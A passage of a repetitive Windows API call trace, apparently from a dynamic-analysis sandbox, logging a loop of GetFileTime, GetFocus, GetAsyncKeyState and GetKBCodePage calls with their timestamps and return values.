GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.664] GetFocus () returned 0x0 [0220.664] GetAsyncKeyState (vKey=58) returned 0 [0220.664] GetKBCodePage () returned 0x1b5 [0220.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.664] GetFocus () returned 0x0 [0220.664] GetAsyncKeyState (vKey=58) returned 0 [0220.664] GetKBCodePage () returned 0x1b5 [0220.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.664] GetFocus () returned 0x0 [0220.664] GetAsyncKeyState (vKey=58) returned 0 [0220.664] GetKBCodePage () returned 0x1b5 [0220.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.664] GetFocus () returned 0x0 [0220.664] GetAsyncKeyState (vKey=58) returned 0 [0220.664] GetKBCodePage () returned 0x1b5 [0220.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.665] GetFocus () returned 0x0 [0220.665] GetAsyncKeyState (vKey=58) returned 0 [0220.665] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.666] GetFocus () returned 0x0 [0220.666] GetAsyncKeyState (vKey=58) returned 0 [0220.666] GetKBCodePage () returned 0x1b5 [0220.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.667] GetFocus () returned 0x0 [0220.667] GetAsyncKeyState (vKey=58) returned 0 [0220.667] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.668] GetAsyncKeyState (vKey=58) returned 0 [0220.668] GetKBCodePage () returned 0x1b5 [0220.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.668] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.669] GetFocus () returned 0x0 [0220.669] GetAsyncKeyState (vKey=58) returned 0 [0220.669] GetKBCodePage () returned 0x1b5 [0220.669] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 